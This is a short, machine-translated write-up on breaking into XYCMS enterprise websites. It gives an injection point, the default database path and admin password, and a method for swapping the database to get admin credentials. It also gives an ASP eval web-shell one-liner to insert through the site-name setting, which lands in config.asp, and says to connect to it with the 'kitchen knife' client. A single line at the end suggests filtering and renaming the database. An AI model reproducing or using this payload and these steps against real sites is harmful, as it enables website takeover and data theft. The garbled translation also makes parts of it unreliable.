XYCMS enterprise website creation system default database, WebShell in the background

Showkbxx. asp? Id =
 
 
Injection points
 
Default Database: data/xy #! 123. mdb
 
Default account and password: admin
 
Many websites have anti-injection attacks. At this time, we can download the database, build it locally, replace the original database, and inject it to get the Administrator account and password.
 
Shell in the background
 
There is a website configuration. In the website name, add: xxx Website "%> <% eval request (" stomach ") %> <%'
 
Insert it directly. Do not delete the website name...
 
Then the kitchen knife connected to http://www.bkjia.com/inc/config. asp password you understand

Solution

Filter and modify the default database name